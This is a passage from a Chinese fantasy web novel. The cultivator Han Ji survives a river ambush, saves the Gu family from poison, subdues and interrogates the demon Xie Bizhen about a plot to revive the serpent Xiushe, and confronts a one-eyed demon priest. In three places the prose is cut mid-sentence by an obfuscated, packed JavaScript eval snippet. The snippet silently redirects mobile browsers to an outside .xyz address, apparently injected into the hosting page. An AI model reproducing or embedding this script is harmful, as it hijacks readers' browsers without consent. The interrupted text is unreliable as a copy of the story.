“你怕不怕?”韩纪警惕地环视三面而来步步紧逼的敌人,低声问道。 江风很大,像是要将人吹跑一般,吹得耳廓发疼。 手臂上的伤口血流不止,因失血过多,顾盼英的眼前发黑,脚步都有些不稳。 可看着身侧韩纪的面容,握着她的手,顾盼英只觉心中长出一根定海神针。 她攥紧了韩纪的手,一字一句道:“我不怕,只要有姐姐在,我都不会害怕。” 鲜血从韩纪唇畔溢出,她双眉紧蹙,低声嘱咐:“抓紧我手里的东西,在脑子里想你觉得最安全的地方,是死是活就在这一瞬,绝对绝对不能松开。” 话音甫落,她揽过盼英的腰,纵身跳下楼去。 “蛇妖跳江了!” “蛇妖跳江了!” 身后传来无数的兵刃投掷之声,眼前是不断逼近的滔滔江水。 一股滚烫的力量钻入手掌,盼英感觉到掌心中那个坚硬的东西开始发热发烫。 她浑身止不住地抽搐,心脏猛烈地跳着,她下意识地想将那东西扔出去,可便在她觉得自己将死的一刹,她感受到腰侧的手传来的力量,随即偏头看向身侧紧紧揽着自己的韩纪。 夜色将韩纪的眉眼藏了起来,江风吹得她的发丝飘扬。 她如同一只矫健的飞鹰,正带着自己远离所有的危险。 耀眼刺目的白光自二人交握的掌心溢出,顷刻间将二人笼罩在其中。 盼英看见她张口说着什么,倏忽间,周遭一片混乱,无数的点聚成一道道笔直的线,翻涌的江水化作布满青草的地面。 “保重。” 下一刻,她重重落在柔软的草地上。 四周黑黢黢的,竹林中传来夏虫的鸣叫,夜风吹来泥土的芳香。 天空繁星闪烁,草尖上的露珠也反射着光芒。 顾盼英捂着渗血的伤口爬起身环顾四周,却没有找到她的身影,摊开手,那块闪着光的灵石安静地躺在掌心。 她在灵石应验的最后一刻,松开了自己的手。 她去找阿随仙长去了。 韩纪落入汨罗江中,无数燃着火的箭矢射入江面。 她顺水游去,不断地探头出水面查看四周。 终于,在茫茫的江水之中,她看见了一个熟悉的身影。 一块浮木之上,阿随顺水漂流着。 他身体在浮木上,脑袋没入水中。 韩纪奋力朝他游去,身后的水中不断有百姓掷来石块,有兵士射来火箭。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941794|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >三丈,两丈,一丈…… 眼看着越来越近,韩纪一边游水一边伸出手去抓阿随在水流浮沉的手臂。 她一手抓住他的衣袖,一手拨水,正要将他整个人都扯入自己怀中之时,一支飞箭破空而来,射穿了她的肩膀。 大浪袭来,原本抓牢的手猛地松开,二人被卷入江水之中,浮浮沉沉。 韩纪看着江水之中起起伏伏的阿随,每每想要靠近他,却都被水流隔开。 身体越来越冷,四周越来越黑,鲜血自肩头溢出,染红了周遭的水域。 灵力耗尽,失血过多,韩纪挣扎着游向阿随,却忽然有所感应地望向灯火通明的堤岸。 一个黑衣人——不,准确的说是一只大妖站在黑暗之中,他的手指上凝聚着一道妖力,如箭矢一般朝韩纪射来。 韩纪身不由己无力躲闪,那妖力凝聚的箭矢正中她的眉心。 她的手紧紧抓着阿随的手臂,却不受控制地缓缓闭上了双眼。 一片黑暗之中,传来无数人的声音。 一个苍老的声音道:“无念,你还年轻,情魄一旦分离,便容不得你后悔了。”说话之人正是她的师父,韩成。 一个愤怒的声音道:“师姐!凭什么你是寒山宗的宗主!就因为师父疼爱你,偏心你么!”这是她的师弟韩玉。 一个楚楚可怜的声音喊道:“韩宗主!求求你救救我!”这是玉苍派那个香消玉殒的女弟子楚清妙。 韩纪眼前不断的浮现这些人的面容,耳畔响起无数的声音,忽然有一个声音唤她。 “韩纪。” “韩纪。” “韩纪。” “韩纪。” 那人并不说其他的,只是不断的重复着她的名字,一开始是稚童的声音,随后慢慢长大,变成十七八岁的少年,最后已是一个成年男子的声音。 他好像有许多话要和她说,怕她睡着,于是一直不停的喊她。 可又好像与她无话可说,因此每每唤出她的名字,却一句话都不讲。 韩纪看见他的身影,想追上他,却发现他的身影在飞速远离。 韩纪抓住他的手,将他扯过想看看他的脸,却不曾想便连手中握住的他的手臂都消散于无形。 在无数声呼唤中,韩纪睁开双眼。 东方既白,芦苇依依,清澈的水面波光粼粼,好似一条死鱼刚刚翻上来的白肚皮。 韩纪下意识的看向自己的手,手中攥着一根被水泡得褪色的五彩绳。 那是那只小狐狸绑在手上的五彩绳。 她感觉不到小狐狸的存在了,要么是他身上的锁妖契解开了,要么就是他已经死了。 心口传来剧痛。 韩纪垂目看去,只见左肩上一道狰狞的伤口。 她慢慢将五彩绳放进怀中、拾起掉落在沙地中的青木杖,余光却瞥见那浅水之中反光的事物。 她定睛看去,正是一把剑。 卫朔的惊风剑。 “看来,明霞宫与逍遥峰弟子的衣裳还真是如假包换。”韩纪这样想着,又把惊风剑捡起来。 一来二去,只得将青木杖收在身后,以惊风剑做拐杖。 方走两步,她体力不济,重重跌倒在地。 灌丛之中传来响动,似有人急急奔来。 韩纪挣扎着坐起身,握住惊风剑剑柄,紧盯着那处。 灌丛被拨开,一朵开得正盛的金丝桃下,少女的脸露了出来,正是已经沿着沙堤旁找了一夜的顾盼英。 “楚姐姐!” 顾盼英高呼一声,扑上前搀扶住韩纪摇摇欲坠的身体,眼泪止不住地滑落,啜泣道:“我总算找到你了,我们快走,我刚刚过来时看见有人沿途搜过来了!” 29. 故人不再 芦苇荡里,燃起炊烟。 韩纪在一片昏暗中醒来,身下垫着干草,头顶是飘摇的船篷。 船篷内并未点灯,透过船帘的缝隙往外看去,夕阳西下,无边萧瑟。 韩纪勉力靠着船身坐起,肩头传来剧痛,低头看去,箭矢已被拔出,伤口也被细细处理包扎过了。 “你说你带着这做什么?” “我寻思着上面画的是楚仙长,还以为有用呢。” 船外传来语声,韩纪掀开船帘,一副美丽的画卷映入眼帘。 小船停泊在岸边,顾盼英正在一侧烧火煮粥,火焰上烤着几尾小鱼。 顾大爷拿着一份告示与顾大娘在一侧小声嘀咕着什么。 韩纪要来告示,在二位老人慌乱而有些心虚的神色中,她摊开告示,低声读到:“今有玉苍派弟子楚清妙勾结妖族盗取巴陵城至宝、打伤城中守卫七十二人、重伤仙门弟子八人,特此通缉。凡提供消息者赏银三百两,捉拿归案者不论死活赏银一千。” 顾盼英快步走到她面前,将告示一把拿下撕碎了扔进河中,搀扶着她走下小舟在一侧的石块上坐下,道:“楚姐姐,你救了我,我们全家人对你感激不尽。而且我和我爹娘都相信你不是蛇妖,你莫要害怕,我们会将你送到安全的地方。” 韩纪接过顾大爷递来的红薯粥,一边喝一边看那小舟上的锅碗瓢盆,柴刀被褥,心知这一家子如今为了救下自己已经做好了背井离乡的打算。 她的目光落在两位老人黝黑的皮肤与树枝一般干枯的手上,心中五味杂陈。 她救下顾盼英只是举手之劳,可他们救自己无异于螳臂当车、自寻死路。 将一碗红薯粥喝完,顾盼英还要再盛,被韩纪阻止。 她牵过顾盼英的手,将她的手掌在自己掌心中摊开,问:“想不想学驱使那块灵石的法术?” 顾盼英的眼睛亮了亮,小小的脸在灿烂的余晖中仿佛是浑然天成的玉璧。 她点头如捣蒜,怯怯地看向韩纪,问:“我……我只是个凡人……我也可以学么?” 韩纪回道:“我也只是凡人,我都能学你为什么不行。” 坐在石头上喝粥的老人也露出笑容,嘴里说的都是对韩纪的感激不尽。 如今这个妖怪丛生的乱世,如若他们的女儿能学会一些法术保护自己,他们哪一日走了也能安心。 韩纪将驱使咒石的手诀同她细细讲了一遍,便叫她自己去练习。 顾盼英是个很有天分的姑娘,在无根基的情况下,仅仅练了一个时辰,便能让咒石现出光彩。 她高兴地缠着韩纪问:“楚姐姐,这样是不是说明我练会了?” 韩纪笑道:“还差着远,你若练成了,身随意动,转瞬千里,到时候再遇见危险你也有逃脱之力了。”顾盼英闻言又用功练习起来。 余毒未消,体内灵力无法完全调动,韩纪端坐船篷之中,取出神木简。 江水的冲刷下,神木简已经看不出昨夜沾染的血迹。 她借由四周环境灵气炼化了神木简,再睁眼时体内的灵力便如汩汩流动的清泉般流转周身,肩头的箭伤也以肉眼可见的速度愈合。 是夜,一家人将她与顾盼英安排睡在船篷之中,老两口靠着船舷依偎在一起。 万籁俱寂,遥远的芦苇荡深处偶尔传来渔人的浅呼清唱,后来那歌声也渐渐低了,水波浮动中,天地间只剩下船篷里飘摇的一点油灯。 听得四周鼾声熟了,韩纪立起身来,负上惊风剑,提起青木杖,吹熄了油灯,将自己身上盖着的一床薄被盖在两位老人的身上,足尖在水面轻点两下,便越过了浅湾,落在岸上。 她边往山林中走去边思索道:“告示上所说的巴陵城至宝是什么呢?”想着想着,惊风剑上的湛蓝色穗子便在夜风吹拂下扫过韩纪的耳廓。 她不由得又猜测道:“先前那密洞之中关押的或许就是各个门派的弟子,想来卫朔与付子英他们先我一步到达了巴陵城,许是发现了巴陵城中的端倪,因此被巴陵城扣下了准备杀之而后快。十余名仙门弟子在巴陵城消失必定会引来仙门道盟注意,于是他们便请来了我这只替罪羊。谢必贞昨夜在宴席之上提及他们,保不准就是为了在我逃脱后逼我现身去救他们,如若我不现身,她将仙门弟子屠戮殆尽嫁祸于我,仙门百家怕是要与我不死不休。” 韩纪正想着,却听得身后传来急促的脚步声,回头望去,正是顾盼英追了上来。 她眼含泪珠望着韩纪,月光洒在她身上,登时给她染上了一层愁意。 “楚姐姐,你同我们一道走吧!” 韩纪劝道:“你快些走吧,你有爹娘要养,与我混在一起,你们会没命的。你忍心见你父母一把年纪,身首异处么?” 顾盼英偏头拭泪,反问道:“那你呢?你回去难道不是身首异处么?” 韩纪转过头去,夜风吹得她衣袂飘飘。 月华洒落,照在她背负的长剑上,激起寒光阵阵。 她正声道:“蛇妖未除,我不能走,是死是活,我都接受,你回去吧。”说罢转身走进黑沉沉的山林之中。 别了顾盼英,韩纪不断琢磨着那告示的话,忽然抬起头来,暗暗惊道:“我分明从未盗取宝物,他们为何要将此等祸事也安在我的头上?” 结合那日在密室中看见的人骨蛇塔与无数条小蛇,她心中不由得升起一个极其恐怖的念头。 巴陵城中其实并没有作怪的蛇妖,所有的一切都只是为了掩饰他们真正的目的。 他们想要复活修蛇。 一百年前,也是在巴陵城中,当时的城主与修蛇残魂勾结,以万民鲜血换取长生之术。 她与卫长风斩杀修蛇残魂后,修蛇所留下的仅仅是一截手掌大小的白骨,如今看来那白骨正是复活修蛇的关键。 念及此,韩纪不由得冒出一身冷汗,急急往济安寺赶去。 苍山掩映间千年黄墙不倒,碧水幽幽中万般佛语低喃。 韩纪抬眼望去,只见一片苍茫之中,一座寺庙落在眼前,大门匾额上“济安寺”三个大字在夜色中显着金光。 她身姿敏捷地翻过院墙,直直往供着佛像的大雄宝殿奔去,见四下无人,朝着殿门拜了三拜道一声得罪,蹬住石灯借力攀上那红通通金灿灿的匾额,取出宝盒后又跃下殿来。 桃木宝盒上的封印已经被破开,韩纪心中大惊,忙拆开宝盒,却见其中空无一物,当中物事已被人取了去。 突然间廊下脚步声响,似乎是七八人走来,又似乎是一人走来。 韩纪一瞥之下,瞧见一名僧人高举烛台站在身后,隐约可见身姿颀长、眉清目秀,其他的全被朦朦胧胧的烛光掩住,看不真切。 她心中千般惭愧,万分着急,朝着僧人合十行了一礼,正要开口。 韩纪忙道:“夜中滋扰宝刹,晚辈甚是不安。只是所寻之物关乎巴陵城城中百姓性命,事关重大,还请师父明示。” 僧人微笑道:“韩施主,佛法无边,万般皆是机缘。小僧奉主持之命在此处候你,说你所寻之物不在寺中,回来处寻罢。至于其他的小僧也无从知晓了。” 韩纪闻言心中一惊,既是震惊于自己的身份已被这小和尚看破,又是震惊于修蛇残骨下落不明。 她沉思一瞬,脑海中立即浮现出盼英那颗挂坠,连声告退,跃出宝刹寺门时,余光瞥见那青松翠竹掩映的山道下正有几个黑影藏在林间。 她不由得叹道:“原来谢必贞早早便盯上了这济安寺,想来寺中高僧为了保住修蛇邪骨也是煞费苦心。” 念及此,韩纪以墙角、树干、树影为遮蔽,乘着风下了山,往来时的方向御剑疾行而去。 漫山遍野的树木化作一条条线,蜿蜒曲折的山路慢慢在视野中拉直。 山峦过尽,宽阔的江面便在眼下如画卷一般展开,那叶小船依旧靠岸停着。 此时晨光熹微,东方渐白,江风送来鹭鸶鸟的叫声。 韩纪落在船头,掀开船帘却见舱内空无一人,举目远眺,沙堤上依稀看出两个倒地的人影。 她加快脚步,奔至那两人身侧,翻转身来,正是顾家两位老人。 见二老面色青紫,唇瓣乌黑,韩纪仔细查看周身,从颈间拔下两枚毒针。 “楚仙长……盼英……”顾大爷强撑着精神说着,手指颤悠悠地指向密林之中,韩纪不敢耽搁,抽出青木杖便往密林中奔去。 只听得啊的一声惨叫,一个身影摔下山坡。韩纪眼疾手快接住那人隐入灌丛之中,低头看去正是受伤濒死的顾盼英。 她脖颈间一道细如蚕丝的伤口正以肉眼可见的速度渗出血来,韩纪连忙施法捻诀将那流血止住。 流血虽止,但她中了毒针,若是取不得解药,日出之时必死无疑。 一家三口如此惨状,韩纪心中焦急万分。 可顾盼英却好似不知自己将死一般,她苍白着脸,一双眼睛被山雾浸得湿漉漉,瞬也不瞬地凝视着韩纪面庞。 “楚姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941795|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”顾盼英颤声道,“这贼人要取那枚挂坠……”说话间,她从怀中取出一个用方帕包裹着的挂坠颤巍巍交到韩纪手中,双目一闭,昏死过去。 灌丛外,一道黑影闪出,眨眼便至灌丛之外。 眼前寒光乍现,韩纪抽出青木杖击去,听得铛铛两声,数枚银针掉落在地。 韩纪翻身出了灌丛,冷声道:“谢统领,又见面了。” 那黑影闻言解下蒙面黑布,眼尾细长,斜飞入鬓,正是谢必贞。 “楚仙长,都说大难不死必有后福,端午夜宴你侥幸逃过一劫,不去逃命却在这里多管闲事,实在该死。”话声未断,谢必贞抽出腰间软剑,挺剑来攻。那软剑通体寒光,时缓时急,诡异多变,弯折闪躲,直冲韩纪脖颈而来。 小山坡上,一时之间黑风大作,妖气冲天。 韩纪翻转挪移,一时不察却被那软剑绕住脖颈。 谢必贞见状手中发狠,势要将她的头颅绞落下来才算安心。 可未曾想,那青木杖只是往那软剑上轻轻一点,便从她颈间滑落,再欲将她缠住,无论如何都有毫厘之差。 谢必贞暗暗心惊,却听得韩纪笑道:“我正苦恼如何对付你,却不曾想你确实是只妖。”她闻言看去,韩纪手中青木杖虎虎生风,灵光大显。 “是妖,那便好办了,我最擅长的便是杀妖。” 韩纪左闪右退避开如毒蛇一般攻击的软剑,一脚踏在松干之上,举杖朝谢必贞攻去。 谢必贞只觉漫山遍野的树木都在眼前人那一击之中翻滚涌动起来,山涛呼啸,地动山摇,避无可避。 她急急回剑相抵挡住这一击,手脚发麻,再抬眼看去,无声无息之间,青木杖带起之风已触及她面颊,谢必贞连忙后撤十余步,可无论她如何后退,那根木头都忽左忽右的跟着她。 待到她终于站稳脚步,却忽觉脚下生起疾风,无数金色符文在泥泞的地上闪动,电光火石之间,数十张符箓自四面八方飞来将她困在阵中。 她登时四肢剧痛,神魂欲裂,抱头痛呼间,韩纪身负长剑从山坡中缓缓走下,青木杖落回掌中。 “怎么会,你明明没有什么修为。”谢必贞面容狰狞地瘫坐在法阵之中,眉宇间相处野兽的皮毛,即刻便要露出真身。 韩纪冷笑道:“端午夜宴上,你们在酒中动了手脚,自然觉得我软弱好欺。” 她蹲下身子,直视着谢必贞那在人与兽之中不断转换的眼睛,冷声道,“交出解药,说出实情,不然我打得你魂飞魄散,不入轮回。” 谢必贞因着疼痛落下泪来,手掌已现出原形,一双兽耳也自发间冒出。 她痛不欲生,却仍旧恶狠狠地看着眼前之人,斩钉截铁道:“要杀便杀,要剐便剐,我一条贱命都是主人给的,让我背叛主人绝不可能。” 韩纪啧啧两声,道:“原来是条小狗,怪不得这样忠心耿耿。” 她站起身来,口中默念法诀,谢必贞便被一股力量重掼在地,口喷鲜血。 金符汇集成一条一条金线法绳将谢必贞束缚在法阵中央,与她皮肉相接之处,发出嗤嗤声响。 法绳渐渐收紧,谢必贞抑制不住地惨叫起来。 鲜血顺着法绳滴落,细碎的皮毛与血肉落在地上。 韩纪别过身去,冷冷道:“放心吧,你不会死的,法绳会把血肉再穿起来,直到你交出解药。” 谢必贞疼得满头大汗,却依旧在阵中大笑道:“都说你们仙门子弟一心向善,慈悲待人,如今看来你们的手段比起我们也好不了多少!” 韩纪垂眼看她强颜欢笑,心中对她的愚忠倒有些佩服,道:“慈悲待人的已经被你们拆吃入腹了,而我,是来杀你们的。” 她正说着话,眼睛却被什么东西晃了一下。 低头看去,一个手指一般大小的金牌从谢必贞怀中掉落,浸在满地鲜血中。 韩纪手指微动,那金牌便飞至她手中。 谢必贞慌乱地挣扎起来,法绳将她勒得更紧,她却顾不得疼痛,大叫道:“别用你的脏手碰我主人的东西!” “还给我!” 韩纪对她的话置若罔闻,细细看去,只见金牌一面刻着一只憨态可掬的小狗,金牌另一面刻着一串小字。 韩纪用手指将小字上的鲜血揩去,目光为之一振。 “城隍庙小狗庙祝安宁,若见到请送回,必有重谢。——陆小狗” 韩纪震惊地看向谢必贞问:“你是安宁?你的主人是陆识舟?!” 30. 蛇骨吊坠 谢必贞听见主人的名字,面上痛苦神色骤然缓解许多。 她哇的吐出一口黑血,眼眶发红,自嘲道:“一百年了……没想到还能有人记得他……” 韩纪挥手停下法阵,沾满鲜血与皮肉的法绳又化为金色的符文将谢必贞困在阵中。 谢必贞咬牙站起,脸上、肩上、手上的伤口因着她的动作迸裂开来,血流满地。 “安宁,识舟生平对妖邪鬼怪最是痛恶,究竟发生了什么让你们不惜一切代价要复活修蛇?”韩纪十分不解,在她脑海之中,安宁还是那只在陆识舟怀中酣睡的金色小狗,陆识舟也还是那个城隍庙里卖艺的少年。 谢必贞闻言甚是惊疑地看向韩纪,鼻尖轻嗅,怔了好半晌,眼中的惊讶神色褪去,转而阴恻恻地笑道:“我当是谁这样厉害,原来是韩宗主。你这样了不起的大人物,居然也会记得我。” 当年拜别巴陵城时,谢必贞未开灵识,如今百年已过,她却说出这样尖酸刻薄之语。 韩纪见她满面怨毒之色,全然不记得自己何时得罪过她。 她尚在沉思之中,谢必贞却瘫倒下去。如今顾家三口所中蛇毒未结,谢必贞一死,莫说这巴陵城的种种疑云无法解开,便是这三人也得命丧当场。 韩纪当即捻诀解开法阵,上前查看她的伤势,双肩便被一双利爪摁住。谢必贞翻身跃起,张嘴露出尖牙便往韩纪颈间咬下。 韩纪一怔之下,猛地偏头,但肩膀已被犬牙咬破。 她反手扼住谢必贞咽喉,双腿顶腹,翻身将她掼倒在地。 青木杖落下之时,对准的是谢必贞的心口。 这一击之下,她必定被打回原形,届时顾家三口却不能得救。 韩纪稍一迟疑,收了杀招,好言相劝:“当日你叫我及时抽身,如今我也劝你一句:所行非正道,不如早回头。” 谢必贞呕出两口血,道:“韩宗主,你自有抽身之时,可我与主人早无回头之日了。生死于我而言早无分别,只怕主人为我伤心。”说话间,自知逃脱无望,悲从中来,双目紧闭,眼泪淌落。 韩纪见她无心生死,心中唯一在乎的只有陆识舟,趁机道:“你将顾家三口身上的蛇毒解了,我放你回去见你主人,如何?” 谢必贞诧异地睁眼瞧她,十分怀疑地说:“当真?你不杀我?” 韩纪松开手,道:“当真,但若你再起坏心害这三人性命,我必将你碎尸万段后送还给陆识舟,叫他伤心欲绝,断肠而死。” 谢必贞犹豫片刻,立起身来,先后为一家三口解了蛇毒。 眼见着顾盼英眼睫微颤,唇畔上乌青褪去,二位老人也因周身疼痛呻吟起来,韩纪看向身负重伤的谢必贞,问:“逍遥峰与明霞宫的弟子是不是都在你们手中?” 谢必贞因身上禁制未解,无韩纪相助难移寸步,只垂着脑袋坐在一旁道:“那些仙家弟子多管闲事,被主人抓了关在密室之中。今日午时,主人将在诛妖台上吸干他们的精血。” “引君入瓮?”韩纪冷不丁道,谢必贞并不答话。 韩纪又问:“你很恨我?可我不记得做过什么事情让你如此怨恨。” 谢必贞冷眼看她,良久转过目光,苦笑道:“你自是不记得,你护佑苍生而死是多么大的功德,可最后呢,天下众人又有谁知你的功劳?还不是只有我主人记得。一百年前,你率寒山宗精锐弟子于魔窟中镇压魔主之时,主人夜观星象测出此战必败,寒山宗必亡。他一介凡人,竭尽全力赶到魔窟想要救你,可你已经死了,魔主残部正在争抢封印你力量的五行灵宝。多可笑啊,他竟然为了夺得其中之一,被那些妖魔打断了心脉。” 韩纪心中大惊,她自问与这陆识舟虽有救命之恩,但着实没有什么多余的情分,只不过相处半月,如何能叫他为自己豁出性命。 谢必贞见她震惊神色心中更是酸楚,不由得落下泪来,继续说道:“他拖着残躯回到巴陵城时,只剩最后一口气了。他告诉我,他要死了,让我不要难过,也不要救他,让我将他葬了,守着那破东西,一定要交给寒山宗的门人,可我做不到。” “所以修蛇来找你,许诺以长生之术救治他你便与他结盟害人?” “不!”谢必贞抬起头来,直视着韩纪,满面泪水,语气坚定,“是我去找的他!你与卫长风将那修蛇残魂尽数斩灭,我花了很多时间才找到那修蛇的一丝气息。他以傀儡之术救活主人,我便以我自己的鲜血回报他。可是主人不同意,他复活之后不吃不喝,竟要活生生将自己饿死!我不懂,为什么要死,他哭着求我,让我把他封在密室里,不许我救他,不许我喂食他血液,不许我为他犯下杀业!” 她声泪俱下,垂眼之际,眼前似乎又见到主人那时的可怜模样,哽咽道:“我不想他死,可也不愿违背他的意愿……我就这样坐在密室之外,在一片黑暗之中听着他在密室之中呻吟、哭泣、我听着他的声音越来越小……我知道……我知道他要死了,却不能救他……可有一天晚上,他忽然敲击着密室的暗门,求我救救他……我很高兴……你知不知道我有多高兴……” 说到这里,她悲苦的神色松动,露出几分喜色:“可主人本就是已死之人……他为了活着,不得不依靠修蛇残魂……就像你,堂堂寒山宗宗主,剑道魁首,神谕剑主,如今不也借着别人的身份苟活于世么?” 韩纪无论如何也无法将当年那个衣衫破烂的少年与如今垂垂老矣的城主当做是一人,心中思绪万千。 此时,一弯冷月浅浅地隐在西边的群山之后,朝阳虽为升起,但风中已带着些许暖意,天空大白。 韩纪回思前尘种种,记忆尤新,却如何也想不起来在死前见过陆识舟。 “现在活着的不是你的主人。”韩纪不愿看她再遭蒙骗,偏头说道,“有一事你不知,当年巴陵城城主为求长生,以万民鲜血供养修蛇,换取了可换血续命的傀儡之术,你可知那傀儡是谁?” 谢必贞惊愕地抬起头盯着韩纪的脸,眼眶中的泪水将落未落。 “傀儡之术便是为求长生之人在万民血池之中造出一具一模一样的肉身,肉身不老不死,无知无觉,供人采用。陆识舟便是那具肉身,他的神识是我和卫长风与修蛇缠斗之时,三股力量相击,机缘巧合之下,违背天道夺出来的。他本就是修蛇造出来的傀儡,傀儡之术如何能救他。” 顿了一顿,她继续道:“你主人当年不吃不喝,应是将修蛇残魂封在体内,意欲将其饿死。可最后,修蛇控制了他,而你不忍他死去喂了你的血,妖血入体,封印既破,如今这副躯壳早就换了主人,你的主人——” “你住嘴!不可能!主人的味道没有变!他记得从前的每一件事情!”谢必贞体内妖气翻腾,触动禁制,嘴角又溢出血来。 韩纪叹息一声,遵守前言解开她的禁制,放她回去,只道:“是或不是,你拿雄黄酒一试便知了。” 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941796|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必贞却道:“他依靠蛇妖而生,惧怕雄黄也很正常,你别想诓骗我伤害主人。” 韩纪见她执迷不悔,自欺欺人,便也不再劝说,只道:“在我看来陆识舟已经死了,天一亮我就会到城主府,到时候不管是你,还是那个城主,我都不会手下留情。” 谢必贞脚步一滞,并未回头,只是捂着胸口发足疾奔,不多时化作一缕黑烟飘向巴陵城中。 韩纪看着她越来越小的背影,长叹一声,独自回来将顾家三口抱至船篷之中,调动周身灵力为他们疗愈伤势。 顾盼英悠悠转醒,见到韩纪之时,当即哭出声来,道:“楚姐姐,多谢你又救我一命!” 韩纪收回灵力,叹息一声,道:“我现在已不知究竟是我救了你,还是你的劫数本就因我而起。”她隐隐猜到,顾盼英这女子命中怕是有必死之局。 短短十余日内,她已遭三番险境,次次性命垂危,若说端午夜宴那次是因她而起,可首尾两次不论是虎妖还是谢必贞都是直奔她而来。 韩纪只愿如今这蛇骨吊坠在自己手中,能替她挡住这些劫难,保她性命。 “楚姐姐,你好像不大开心,是不是我给你添麻烦了。”顾盼英坐起身来,面色苍白。她不知韩纪此刻正恼恨身无灵宝,无法保她安危。 韩纪沉吟片刻,嘱咐道:“一会儿我送你一家三口去济安寺,那里佛光普度,邪魔不侵。我走之后,你一定要好好练习咒石的用法,若是里头的和尚赶你,你便说若让你出济安寺的大门,你就一根白绳吊死在寺门之前。想来,出家人慈悲为怀,必不会为难于你。” 顾盼英似懂非懂地点头,只问:“那之后呢?我总不能一辈子待在济安寺,我可以去找你吗?” 城主府一战,不仅关乎那几名修仙弟子的安危,更关乎巴陵城百姓的安危,韩纪非去不可。 只是,此去生死难料,韩纪自己也没什么把握。 她又不由得想起坠入汨罗江中的阿随,心知此番是自己亏欠了他,只是如今大敌当前,自己怕是无力寻他的尸身了。 她低声道:“若我活着回来,自会来接你。” 顾盼英听得这句话,眼泪当即夺眶而出,忙道:“姐姐这般有本事的人,一定会活着回来的。” 韩纪拂去她的眼泪,强行给她作弄出一个笑脸,故作轻松地说:“若我死了,你也别来寻我尸身。济安寺内高僧众多,必定会为你指一条正道。实在不行,巴陵城中也一定会有仙门长老前来除妖,听闻明霞宫的决明真人仙法渊博,造诣颇高;万剑山的明琮一,为人正直果敢,勇毅非常;玉苍派的掌门楚淮生宅心仁厚,心怀苍生。前两人你若想得他们庇护,怕是要费一番力气;但后者是……是我的师父,你与他说你对我有救命之恩,他必定会收你为徒。” 说罢,韩纪从怀中取出存有楚清妙魂魄的玉牌交给顾盼英,嘱咐她:“这是玉苍派弟子玉牌,你一定要好好收着,若是我回不来,你便交给楚道长,他见到此物便知我的用心了。” 韩纪本是安慰她,却不曾想每说一句话,这小丫头便痛哭一声,待到将话说完,好好一个美娘子都哭成了花脸猫。 韩纪无可奈何,温声劝抚,待到将三人送到济安寺,拜见了主持,又再三答应她会活着回来,她才收起泪水,站在寺庙门口目光幽幽地望着韩纪。 韩纪对她挥了挥手,叫她回去,她才跟着领路的小和尚一步三回头的走进了大雄宝殿。 31. 单刀赴会 巴陵城,往日热闹非常的大街空无一人。 城中百姓一大半皆被济安寺近期开设的水陆法会吸引去了。 黑风呼啸,妖气冲天,时值正午,却乌云压城,天昏地暗。 韩纪来到城主府前,提起沉重的门环,叩叩叩敲了三下,朗声道:“玉苍派楚清妙前来赴会。” 咯咯声响,大门缓缓打开,门后却空无一人。 韩纪走进门内,抬眼望去,便见诛妖台正中站着着一独眼妖道,左右两侧的诛妖柱前后共缚着十三名仙门弟子,鲜血正从他们指尖缓缓流出,滴落诛妖台上。 他们听见声响,不知是谁来相救,偏头看去,便见一名女子手持木棍、背负长剑缓缓走上诛妖台。 “楚清妙,你来做什么!”裴云齐被绑在最后,却最先将她辨认出来,焦急地喊道,“你快走!别来送命!” 卫朔紧随其后地大喊道:“楚师妹,这是圈套,你快走!” 听见二人的话,两侧捆绑的仙门弟子也喊叫起来。 韩纪的目光扫过他们脸庞,分别是卫朔,付子英,裴云齐,仇千水,石轩翰,其余几位,她只觉面熟,却不知名姓。 此时此刻,无论这些修仙弟子与楚清妙有何龃龉,见她一人单刀赴会,不忍见她血溅当场,纷纷让她速速逃命。 “你是楚清妙!”正中站立的独眼妖道厉声高叫道,“便是你杀了我六名徒儿!速速向我磕头认错,我留你全尸!省得你受断手断脚、掏心掏肝之苦。”此人便是那日程十两口中的富山老祖。 韩纪不理会仙门弟子的催促,走上诛妖台,冷冷道:“你那徒弟该死,你更该死。今日你既然在此,我便先将你杀了,再去会那殿中妖魔。” 她语气淡淡,声音有如寒冰相击,碎玉摇曳,竟让在场之人听了只觉遍体生寒,两股颤颤。 富山老祖暴怒:“黄毛丫头,不知死活!今日便是你的死期。”说罢,他手中拂尘轻举,身影闪动,眨眼之际,便奔至韩纪身前。 韩纪青木杖缠住拂尘往身后狠拉,一掌击出,对上富山老祖阴狠非常的穿胸破肚手,顺势扣住他的手腕上的命门。 富山老祖立时用手肘撞向韩纪左肩,却不曾想韩纪体内灵力运转,轻巧地卸去了这一击之力时,重重朝他左腿踢出一脚。 